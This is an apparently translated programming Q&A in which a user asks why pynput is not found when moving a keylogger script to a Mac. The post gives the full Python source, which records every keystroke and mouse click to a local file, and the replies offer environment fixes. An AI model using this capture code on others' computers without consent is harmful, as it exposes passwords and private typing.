【问题标题】:Pynput not recognized for MacBook Air KeyloggerMacBook Air 键盘记录器无法识别 Pynput
【发布时间】:2018-07-25 18:27:48
【问题描述】:

我在 Windows 计算机上设计了一个键盘记录器,但是当我将它移到我的个人 Mac 上时,代码停止工作。通过 pip install 我似乎已经成功下载了 pynput,但是当我运行代码时,我收到错误消息: Traceback (most recent call last):File "/Users/Ben/Desktop/CODE/key_logger.py", line 6, in 从 pynput 导入键盘 ModuleNotFoundError: 没有名为“pynput”的模块

keys = []

import threading
from threading import Thread

from pynput import keyboard

from pynput import mouse


def on_press(key):
    f = open('keylog.txt','a+')
    keys.append(key)
    f.write(str(key) + " ")
    yes = True
    f.close()

def on_click(x, y, button, pressed):
    f = open('keylog.txt','a+')
    keys.append(('{0} at {1}'.format('Pressed',(x,y))))
    f.write(str(('{0} at {1}'.format('Pressed',(x,y)))))
    f.close()


def func1():
    with keyboard.Listener(on_press = on_press) as listener:
        listener.join()

def func2():
    with mouse.Listener(on_click=on_click) as listener1:
        listener1.join()


if __name__ == '__main__':
    Thread(target=func1).start()
    Thread(target=func2).start()

【问题讨论】:

  • 你用的是什么版本的python
  • 我使用的是 Python 3.7
  • 尝试使用python3 key_logger.py运行它

标签: python macos keylogger pynput


【解决方案1】:

如果您使用 VSC,请在另一个 IDE 上尝试,因为它有时会与您现有的 python 冲突。还要确保你没有一个以上的python,你已经为一个安装了它,但用另一个运行代码

【讨论】:

    猜你喜欢
    • 2020-04-28
    • 2020-12-15
    • 1970-01-01
    • 2020-08-01
    • 2021-09-18
    • 2014-05-21
    • 2021-02-11
    • 2020-07-17
    • 1970-01-01
    相关资源
    最近更新 更多